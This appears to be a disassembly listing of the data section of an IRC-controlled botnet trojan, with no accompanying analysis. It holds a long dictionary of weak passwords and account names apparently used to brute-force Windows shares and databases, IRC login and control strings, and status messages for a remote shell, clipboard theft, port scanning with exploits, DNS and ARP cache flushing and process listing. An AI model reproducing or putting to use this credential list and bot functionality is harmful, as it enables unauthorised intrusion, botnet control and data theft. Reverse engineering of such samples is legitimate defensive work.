aAerobics db 'aerobics',0 ; DATA XREF: .nsp0:00425FD0o
align 10h
aAdult db 'adult',0 ; DATA XREF: .nsp0:00425FCCo
align 4
aAdrianna db 'adrianna',0 ; DATA XREF: .nsp0:00425FC8o
align 4
aAdrian db 'adrian',0 ; DATA XREF: .nsp0:00425FC4o
align 4
aAdam db 'adam',0 ; DATA XREF: .nsp0:00425FC0o
align 4
aAction db 'action',0 ; DATA XREF: .nsp0:00425FBCo
align 4
aAccount db 'account',0 ; DATA XREF: .nsp0:00425FB8o
aAcademic db 'academic',0 ; DATA XREF: .nsp0:00425FB0o
align 10h
aAcademia db 'academia',0 ; DATA XREF: .nsp0:00425FACo
align 4
a000000 db '000000',0 ; DATA XREF: .nsp0:00425FA8o
; .nsp0:004279C0o
align 4
a00000 db '00000',0 ; DATA XREF: .nsp0:00425FA4o
; .nsp0:004279BCo
align 4
a0000 db '0000',0 ; DATA XREF: .nsp0:00425FA0o
; .nsp0:004279B8o
align 4
a000 db '000',0 ; DATA XREF: .nsp0:00425F9Co
; .nsp0:004279B4o
aTesting db 'testing',0 ; DATA XREF: .nsp0:00425F98o
aDeath db 'death',0 ; DATA XREF: .nsp0:00425F94o
align 4
a00 db '00',0 ; DATA XREF: .nsp0:00425F90o
; .nsp0:004279B0o
align 4
aXxxxxxxxx db 'xxxxxxxxx',0 ; DATA XREF: .nsp0:00425F88o
align 4
aXxxxxxxx db 'xxxxxxxx',0 ; DATA XREF: .nsp0:00425F84o
align 4
aXxxxxxx db 'xxxxxxx',0 ; DATA XREF: .nsp0:00425F80o
aXxxxxx db 'xxxxxx',0 ; DATA XREF: .nsp0:00425F7Co
align 4
aXxxxx db 'xxxxx',0 ; DATA XREF: .nsp0:00425F78o
align 4
aXxxx db 'xxxx',0 ; DATA XREF: .nsp0:00425F74o
align 4
aXxx db 'xxx',0 ; DATA XREF: .nsp0:00425F70o
aXx db 'xx',0 ; DATA XREF: .nsp0:00425F6Co
align 4
asc_42C63C: ; DATA XREF: .nsp0:00425F68o
unicode 0, <x>,0
aGuessme db 'guessme',0 ; DATA XREF: .nsp0:00425F64o
aYouwontguessme db 'youwontguessme',0 ; DATA XREF: .nsp0:00425F60o
align 4
aUwontguessme db 'uwontguessme',0 ; DATA XREF: .nsp0:00425F5Co
align 4
aMirc_0 db 'mirc',0 ; DATA XREF: .nsp0:00425F58o
align 10h
aKiddie db 'kiddie',0 ; DATA XREF: .nsp0:00425F54o
align 4
aScriptkiddie db 'scriptkiddie',0 ; DATA XREF: .nsp0:00425F50o
align 4
aScript db 'script',0 ; DATA XREF: .nsp0:00425F4Co
align 10h
aHax0r db 'hax0r',0 ; DATA XREF: .nsp0:00425F48o
align 4
aHacker db 'hacker',0 ; DATA XREF: .nsp0:00425F44o
align 10h
aL337 db 'l337',0 ; DATA XREF: .nsp0:00425F40o
align 4
aL33t db 'l33t',0 ; DATA XREF: .nsp0:00425F3Co
align 10h
aLeet db 'leet',0 ; DATA XREF: .nsp0:00425F38o
align 4
aKiller db 'killer',0 ; DATA XREF: .nsp0:00425F34o
align 10h
a0wn3d db '0wn3d',0 ; DATA XREF: .nsp0:00425F30o
; .nsp0:00427A1Co
align 4
aW00t db 'w00t',0 ; DATA XREF: .nsp0:00425F2Co
align 10h
aHeaven db 'heaven',0 ; DATA XREF: .nsp0:00425F28o
align 4
aSpaceman db 'spaceman',0 ; DATA XREF: .nsp0:00425F24o
align 4
aSatanic db 'satanic',0 ; DATA XREF: .nsp0:00425F20o
aSatanik db 'satanik',0 ; DATA XREF: .nsp0:00425F1Co
aSatan db 'satan',0 ; DATA XREF: .nsp0:00425F18o
align 4
aGobo db 'gobo',0 ; DATA XREF: .nsp0:00425F14o
align 4
aMatthew db 'Matthew',0 ; DATA XREF: .nsp0:00425F10o
aMatt db 'Matt',0 ; DATA XREF: .nsp0:00425F0Co
align 4
aMat db 'Mat',0 ; DATA XREF: .nsp0:00425F08o
aPw db 'pw',0 ; DATA XREF: .nsp0:00425F04o
align 4
aMypass123 db 'mypass123',0 ; DATA XREF: .nsp0:00425F00o
align 4
aMypass db 'mypass',0 ; DATA XREF: .nsp0:00425EFCo
align 10h
aPw123 db 'pw123',0 ; DATA XREF: .nsp0:00425EF8o
align 4
aAdmin123 db 'admin123',0 ; DATA XREF: .nsp0:00425EF4o
align 4
aMypc123 db 'mypc123',0 ; DATA XREF: .nsp0:00425EF0o
aMypc db 'mypc',0 ; DATA XREF: .nsp0:00425EECo
align 4
aLove db 'love',0 ; DATA XREF: .nsp0:00425EE8o
align 4
aPwd db 'pwd',0 ; DATA XREF: .nsp0:00425EE4o
aLogin db 'login',0 ; DATA XREF: .nsp0:00425EE0o
align 4
aHome db 'home',0 ; DATA XREF: .nsp0:00425EDCo
align 10h
aZxcv db 'zxcv',0 ; DATA XREF: .nsp0:00425ED8o
align 4
aYxcv db 'yxcv',0 ; DATA XREF: .nsp0:00425ED4o
align 10h
aQwer db 'qwer',0 ; DATA XREF: .nsp0:00425ED0o
align 4
aSecret db 'secret',0 ; DATA XREF: .nsp0:00425ECCo
align 10h
aAsdf db 'asdf',0 ; DATA XREF: .nsp0:00425EC8o
align 4
aPc db 'pc',0 ; DATA XREF: .nsp0:00425EC4o
align 4
aWin db 'win',0 ; DATA XREF: .nsp0:00425EC0o
aTest123 db 'test123',0 ; DATA XREF: .nsp0:00425EBCo
aAbc db 'abc',0 ; DATA XREF: .nsp0:00425EB8o
aAaa db 'aaa',0 ; DATA XREF: .nsp0:00425EB4o
aA_1: ; DATA XREF: .nsp0:00425EB0o
unicode 0, <a>,0
aCrash db 'crash',0 ; DATA XREF: .nsp0:00425EACo
align 4
aFucked db 'fucked',0 ; DATA XREF: .nsp0:00425EA8o
align 4
aNetfuck db 'netfuck',0 ; DATA XREF: .nsp0:00425EA4o
aIrule db 'irule',0 ; DATA XREF: .nsp0:00425EA0o
align 4
aOwned db 'owned',0 ; DATA XREF: .nsp0:00425E9Co
align 4
a0wned db '0wned',0 ; DATA XREF: .nsp0:00425E98o
; .nsp0:00427A20o
align 4
aNetDevil db 'net-devil',0 ; DATA XREF: .nsp0:00425E94o
align 10h
aNetdevil db 'netdevil',0 ; DATA XREF: .nsp0:00425E90o
align 4
aDevil db 'devil',0 ; DATA XREF: .nsp0:00425E8Co
align 4
aNilez db 'Nilez',0 ; DATA XREF: .nsp0:00425E88o
align 4
aFoobar db 'foobar',0 ; DATA XREF: .nsp0:00425E84o
align 4
aGod db 'god',0 ; DATA XREF: .nsp0:00425E80o
aSex_0 db 'sex',0 ; DATA XREF: .nsp0:00425E7Co
aPat db 'pat',0 ; DATA XREF: .nsp0:00425E78o
aPatrick db 'patrick',0 ; DATA XREF: .nsp0:00425E74o
aAlpha db 'alpha',0 ; DATA XREF: .nsp0:00425E70o
align 10h
a007 db '007',0 ; DATA XREF: .nsp0:00425E6Co
; .nsp0:00427A0Co
a123abc db '123abc',0 ; DATA XREF: .nsp0:00425E68o
; .nsp0:00427C1Co
align 4
a1234qwer db '1234qwer',0 ; DATA XREF: .nsp0:00425E64o
; .nsp0:00427C28o
align 4
a123123 db '123123',0 ; DATA XREF: .nsp0:00425E60o
; .nsp0:00427BC8o
align 10h
a121212 db '121212',0 ; DATA XREF: .nsp0:00425E5Co
; .nsp0:00427BC0o
align 4
a111111 db '111111',0 ; DATA XREF: .nsp0:00425E58o
; .nsp0:00427A38o
align 10h
a110 db '110',0 ; DATA XREF: .nsp0:00425E54o
; .nsp0:00427B8Co
a2600 db '2600',0 ; DATA XREF: .nsp0:00425E50o
align 4
a2002 db '2002',0 ; DATA XREF: .nsp0:00425E48o
; .nsp0:00427D00o
align 4
aXp_0 db 'xp',0 ; DATA XREF: .nsp0:00425E44o
align 4
aEnable db 'enable',0 ; DATA XREF: .nsp0:00425E40o
align 10h
aGodblessyou db 'godblessyou',0 ; DATA XREF: .nsp0:00425E3Co
aIhavenopass db 'ihavenopass',0 ; DATA XREF: .nsp0:00425E38o
a123asd db '123asd',0 ; DATA XREF: .nsp0:00425E34o
; .nsp0:00427C20o
align 10h
aSuper db 'super',0 ; DATA XREF: .nsp0:00425E30o
align 4
aInternet db 'Internet',0 ; DATA XREF: .nsp0:00425E2Co
align 4
a123qwe db '123qwe',0 ; DATA XREF: .nsp0:00427C24o
align 4
aSybase db 'sybase',0
align 4
aAbc123 db 'abc123',0 ; DATA XREF: .nsp0:00425E18o
align 4
aAbcd db 'abcd',0 ; DATA XREF: .nsp0:00425E14o
align 4
aPasswd db 'passwd',0
align 4
aPass_0 db 'pass',0
align 4
a88888888 db '88888888',0 ; DATA XREF: .nsp0:00427B58o
align 10h
a11111111 db '11111111',0 ; DATA XREF: .nsp0:00427A40o
align 4
a111 db '111',0 ; DATA XREF: .nsp0:00427A2Co
a54321 db '54321',0 ; DATA XREF: .nsp0:00425DF8o
align 4
a654321 db '654321',0 ; DATA XREF: .nsp0:00425DF4o
align 10h
a123456789 db '123456789',0 ; DATA XREF: .nsp0:00425DF0o
; .nsp0:00427BE0o
align 4
a12345678 db '12345678',0 ; DATA XREF: .nsp0:00425DECo
; .nsp0:00427BDCo
align 4
a1234567 db '1234567',0 ; DATA XREF: .nsp0:00425DE8o
; .nsp0:00427BD8o
a123456 db '123456',0 ; DATA XREF: .nsp0:00425DE4o
; .nsp0:00427BD4o
align 4
a12345 db '12345',0 ; DATA XREF: .nsp0:00425DE0o
; .nsp0:00427BD0o
align 10h
a1234 db '1234',0 ; DATA XREF: .nsp0:00425DDCo
; .nsp0:00427BCCo
align 4
a123 db '123',0 ; DATA XREF: .nsp0:00425DD8o
; .nsp0:00427BC4o
a12 db '12',0 ; DATA XREF: .nsp0:00425DD4o
; .nsp0:00427BB8o
align 10h
a1: ; DATA XREF: .nsp0:00425DD0o
; .nsp0:00427A24o
unicode 0, <1>,0
aTemp123 db 'temp123',0 ; DATA XREF: .nsp0:00425DCCo
aChangeme_0 db 'Changeme',0 ; DATA XREF: .nsp0:00425DC8o
align 4
aChangeme db 'changeme',0 ; DATA XREF: .nsp0:00425DC4o
align 4
aLinux db 'linux',0 ; DATA XREF: .nsp0:00425DC0o
align 4
aUnix db 'unix',0 ; DATA XREF: .nsp0:00425DBCo
align 4
aLocal db 'LOCAL',0 ; DATA XREF: .nsp0:00425DB8o
align 4
aPepsi db 'pepsi',0 ; DATA XREF: .nsp0:00425DB4o
align 4
aServer_0 db 'SERVER',0 ; DATA XREF: .nsp0:00425DB0o
; .nsp0:00428170o
align 4
aSystem db 'SYSTEM',0 ; DATA XREF: .nsp0:00425DACo
; .nsp0:0042816Co
align 4
aBackup db 'BACKUP',0 ; DATA XREF: .nsp0:00425DA8o
; .nsp0:00428168o
align 4
aAccess db 'ACCESS',0 ; DATA XREF: .nsp0:00425DA0o
; .nsp0:00428160o
align 4
aTest db 'TEST',0 ; DATA XREF: .nsp0:00425D9Co
; .nsp0:0042815Co
align 4
aEdu db 'edu',0 ; DATA XREF: .nsp0:00425D98o
; .nsp0:00428158o
aOwner_1 db 'Owner',0 ; DATA XREF: .nsp0:00425D94o
; .nsp0:00428154o
align 4
aOwner_0 db 'OWNER',0 ; DATA XREF: .nsp0:00425D90o
; .nsp0:00428150o
align 10h
aDemo db 'DEMO',0 ; DATA XREF: .nsp0:00425D8Co
; .nsp0:0042814Co
align 4
aFiles db 'FILES',0 ; DATA XREF: .nsp0:00425D88o
; .nsp0:00428148o
align 10h
aRead db 'READ',0 ; DATA XREF: .nsp0:00425D84o
; .nsp0:00428144o
align 4
aBoth db 'BOTH',0 ; DATA XREF: .nsp0:00425D80o
; .nsp0:00428140o
align 10h
aLadeda db 'ladeda',0 ; DATA XREF: .nsp0:00425D7Co
; .nsp0:0042813Co
align 4
aFull_0 db 'FULL',0 ; DATA XREF: .nsp0:00425D78o
; .nsp0:00428138o
align 10h
aWrite db 'WRITE',0 ; DATA XREF: .nsp0:00425D74o
; .nsp0:00428134o
align 4
aShare_0 db 'SHARE',0
align 10h
aTemp db 'TEMP',0
align 4
aPassword_0 db 'PASSWORD',0
align 4
aAdmin db 'ADMIN',0
align 4
aRoot db 'ROOT',0
align 4
aGuest_0 db 'GUEST',0
align 4
aBla db 'bla',0
aFubar db 'fubar',0
align 4
aAdministrato_0 db 'ADMINISTRATOR',0
align 4
aTsinternetuser db 'Tsinternetuser',0
align 4
aSqldebugger db 'SQLDebugger',0
aAdministrattor db 'Administrattor$',0 ; DATA XREF: .nsp0:00425D30o
aAdmin_0 db '$admin',0 ; DATA XREF: .nsp0:00425D2Co
align 4
aAdmin_1 db 'admin!',0 ; DATA XREF: .nsp0:00425D28o
align 4
aAdmin2 db 'admin2',0
align 4
aAdmin1 db 'admin1',0
align 4
aAdmin_2 db 'admin$',0
align 4
aDb2 db 'db2',0
aOracle db 'oracle',0 ; DATA XREF: .nsp0:00425D14o
align 4
aDba db 'dba',0
aDatabase db 'database',0
align 4
aDefault_0 db 'default',0
aGuest_1 db 'guest',0
align 4
aWwwadmin db 'wwwadmin',0
align 4
aTeacher db 'teacher',0 ; DATA XREF: .nsp0:00425CFCo
aStudent db 'student',0 ; DATA XREF: .nsp0:00425CF8o
aOwner db 'owner',0 ; DATA XREF: .nsp0:00425CF4o
align 4
aComputer db 'computer',0
align 4
aRoot_0 db 'root',0
align 10h
aStaff db 'staff',0
align 4
aAdmin_3 db 'admin',0
align 10h
aAdmins db 'admins',0
align 4
aAdministrat db 'administrat',0
aAdministrateur db 'administrateur',0
align 4
aAdministrador db 'administrador',0
align 4
aAdministrato_1 db 'administrator',0
align 4
aAdministrator db 'Administrator',0 ; DATA XREF: sub_4102CC:loc_4103D7o
; .nsp0:00425CCCo
align 4
aMirc1_6_99 db 'mirc 1.6.99',0 ; DATA XREF: .nsp0:off_425C20o
a@room db '*@room',0 ; DATA XREF: .nsp0:off_425C1Co
align 4
unk_42CB88 db 2 ; DATA XREF: .nsp0:00409EDDo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aFailedToStartR db ' Failed to start registry thread, error: <%d>.',0
align 4
unk_42CBD8 db 2 ; DATA XREF: .nsp0:00409E88o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aRegistryMonito db ' Registry monitor active.',0
align 4
dword_42CC14 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: .nsp0:00409E4Do
dd 2029206Ch, 2BBBB02h, 6F422020h, 74732074h, 65747261h
dd 2E64h
dword_42CC40 dd 25207325h, 25222064h, 2273hdword_42CC4C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40A059+F2o
dd 2029206Ch, 2BBBB02h
aConnectedToS_ db ' Connected to %s.',0
align 4
aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_40A1C1+62o
db 'USER %s 0 0 :%s',0Dh,0Ah,0
align 4
aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_40A1C1+35o
align 4
aModeSS db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: .nsp0:0040F97Do
align 4
aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: .nsp0:0040F968o
align 4
dword_42CCC4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: .nsp0:0040F954o
dd 2029206Ch, 2BBBB02h
aUserSLoggedIn_ db ' User: %s logged in.',0
align 4
dword_42CCF8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: .nsp0:0040F937o
dd 2029206Ch, 2BBBB02h
aPasswordAccept db ' Password accepted.',0
align 4
dword_42CD2C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: .nsp0:0040F8C7o
dd 2029206Ch, 2BBBB02h
aFailedHostAuth db ' *Failed host auth by: (%s!%s).',0
align 4
dword_42CD6C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: .nsp0:0040F869o
dd 2029206Ch, 2BBBB02h
aFailedPassAuth db ' *Failed pass auth by: (%s!%s).',0
align 4
aNoticeSYouVeBe db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0
; DATA XREF: .nsp0:0040F85Ao
; .nsp0:0040F8B8o
align 10h
aNoticeSNiceTry db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0
; DATA XREF: .nsp0:0040F846o
; .nsp0:0040F8A4o
align 4
asc_42CDF8: ; DATA XREF: .nsp0:0040F816o
unicode 0, <~>,0
dword_42CDFC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: .nsp0:0040F7C5o
dd 2029206Ch, 2BBBB02h
aRandomNickChan db ' Random nick change: %s',0
align 4
dword_42CE34 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: .nsp0:0040F6EAo
dd 2029206Ch, 2BBBB02h
aInvalidLoginSl db ' Invalid login slot number: %d.',0
align 4
dword_42CE74 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: .nsp0:0040F6E2o
dd 2029206Ch, 2BBBB02h
aNoUserLoggedIn db ' No user logged in at slot: %d.',0
align 4
dword_42CEB4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: .nsp0:0040F681o
dd 2029206Ch, 2BBBB02h, 73252020h, 0
unk_42CED8 db 2 ; DATA XREF: .nsp0:0040F672o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aFailedToStar_4 db ' Failed to start secure thread, error: <%d>.',0
align 4
dword_42CF28 dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
; DATA XREF: .nsp0:0040F5F8o
dd 6C1F641Fh, 2202920h, 2002BBBBh, 20732520h, 74737973h
dd 2E6D65h
aUnsecuring db 'Unsecuring',0 ; DATA XREF: .nsp0:0040F5F2o
align 10h
aSecuring db 'Securing',0 ; DATA XREF: .nsp0:0040F5EBo
align 4
aSec db 'sec',0 ; DATA XREF: .nsp0:0040F590o
aSecure db 'secure',0 ; DATA XREF: .nsp0:0040F57Fo
align 4
dword_42CF78 dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Ehdword_42CF88 dd 646E6946h, 6C696620h, 65hdword_42CF94 dd 72027002h, 1F631F6Fh, 2E2Ehdword_42CFA0 dd 636F7250h, 20737365h, 7473696Ch, 0dword_42CFB0 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: .nsp0:0040F510o
dd 2029206Ch, 2BBBB02h, 65522020h, 6E6E6F63h, 69746365h
dd 2E676Eh
aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: .nsp0:loc_40F503o
align 4
dword_42CFF4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: .nsp0:0040F4EEo
dd 2029206Ch, 2BBBB02h, 69442020h, 6E6F6373h, 7463656Eh
dd 2E676E69h, 0
aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: .nsp0:loc_40F4E1o
align 4
aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: .nsp0:0040F4B9o
align 4
dword_42D048 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: .nsp0:0040F46Do
dd 2029206Ch, 2BBBB02h
aStatusReady_Bo db ' Status: Ready. Bot Uptime: %s.',0
align 4
dword_42D088 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: .nsp0:0040F42Fo
dd 2029206Ch, 2BBBB02h, 6F422020h, 44492074h, 7325203Ah
dd 2Eh
dword_42D0B4 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
; DATA XREF: .nsp0:0040F404o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToStartL db ' Failed to start list thread, error: <%d>.',0
dword_42D100 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
; DATA XREF: .nsp0:0040F399o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 694C2020h, 74207473h
dd 61657268h, 2E7364h
dword_42D130 dd 627573h dword_42D134 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: .nsp0:0040F324o
dd 2029206Ch, 2BBBB02h, 6C412020h, 20736169h, 7473696Ch
dd 2Eh
dword_42D160 dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
; DATA XREF: .nsp0:0040F309o
dd 2029206Ch, 2BBBB02h
aFailedToStar_5 db ' Failed to start listing thread, error: <%d>.',0
align 4
dword_42D1AC dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
; DATA XREF: .nsp0:0040F27Co
dd 2029206Ch, 2BBBB02h, 694C2020h, 6E697473h, 6F6C2067h
dd 2E67h
dword_42D1D8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: .nsp0:0040F1F8o
dd 2029206Ch, 2BBBB02h, 654E2020h, 726F7774h, 6E49206Bh
dd 2E6F66h
dword_42D204 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: .nsp0:0040F1C9o
dd 2029206Ch, 2BBBB02h, 79532020h, 6D657473h, 666E4920h
dd 2E6Fh
dword_42D230 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: .nsp0:0040F174o
dd 2029206Ch, 2BBBB02h, 65522020h, 69766F6Dh, 4220676Eh
dd 2E746Fh
dword_42D25C dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: .nsp0:0040F161o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToStar_6 db ' Failed to start listing thread, error: <%d>.',0
align 4
dword_42D2AC dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: .nsp0:0040F0F2o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 72502020h, 6563636Fh
dd 6C207373h, 2E747369h, 0
aFull db 'full',0 ; DATA XREF: .nsp0:0040F0D2o
align 4
dword_42D2E8 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: .nsp0:0040F070o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aAlreadyRunning db ' Already running.',0
align 4
dword_42D31C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: .nsp0:0040F022o
dd 2029206Ch, 2BBBB02h, 70552020h, 656D6974h, 7325203Ah
dd 2Eh
dword_42D348 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: .nsp0:loc_40EF85o
dd 2029206Ch, 2BBBB02h
aRemoteShellRea db ' Remote shell ready.',0
align 4
dword_42D37C dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: .nsp0:0040EF7Eo
dd 2029206Ch, 2BBBB02h
aCouldnTOpenRem db ' Couldn',27h,'t open remote shell.',0
align 4
dword_42D3B8 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: .nsp0:0040EF62o
dd 2029206Ch, 2BBBB02h
aRemoteShellAlr db ' Remote shell already running.',0
dword_42D3F4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: .nsp0:0040EF4Co
dd 2029206Ch, 2BBBB02h, 65472020h, 6C432074h, 6F627069h
dd 2E647261h, 0
aClipboardData db '-[Clipboard Data]-',0 ; DATA XREF: .nsp0:0040EF1Eo
align 4
unk_42D438 db 2 ; DATA XREF: .nsp0:loc_40EF0Eo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToFlushA db ' Failed to flush ARP cache.',0
align 4
unk_42D478 db 2 ; DATA XREF: .nsp0:0040EEF3o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aArpCacheFlushe db ' ARP cache flushed.',0
align 10h
unk_42D4B0 db 2 ; DATA XREF: .nsp0:loc_40EEE3o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToLoadDn db ' Failed to load dnsapi.dll.',0
align 10h
unk_42D4F0 db 2 ; DATA XREF: .nsp0:loc_40EEDCo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToFlushD db ' Failed to flush DNS cache.',0
align 10h
unk_42D530 db 2 ; DATA XREF: .nsp0:0040EED5o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDnsCacheFlushe db ' DNS cache flushed.',0
align 4
unk_42D568 db 2 ; DATA XREF: .nsp0:0040EE57o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aFailedToStar_7 db 'Failed to start server thread, error: <%d>.',0
db 2
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aFailedToStar_8 db 'Failed to start server thread, error: <%d>.',0
unk_42D600 db 2 ; DATA XREF: .nsp0:0040EBAFo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aAlreadyRunni_0 db 'Already running.',0
align 4
dword_42D634 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
; DATA XREF: .nsp0:loc_40EB99o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToStar_9 db ' Failed to start scan, port is invalid.',0
align 10h
dword_42D680 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
; DATA XREF: .nsp0:0040EADAo
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aSPortScanStart db ' %s Port Scan started on %s:%d with a delay of %d seconds for %d'
db ' minutes using %d threads.',0
dword_42D6FC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: .nsp0:0040E89Ao
dd 2029206Ch, 2BBBB02h
aNickChangedToS db ' Nick changed to: ',27h,'%s',27h,'.',0
align 4
dword_42D734 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: .nsp0:0040E881o
dd 2029206Ch, 2BBBB02h
aJoinedChannelS db ' Joined channel: ',27h,'%s',27h,'.',0
dword_42D768 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: .nsp0:0040E861o
dd 2029206Ch, 2BBBB02h
aPartedChannelS db ' Parted channel: ',27h,'%s',27h,'.',0
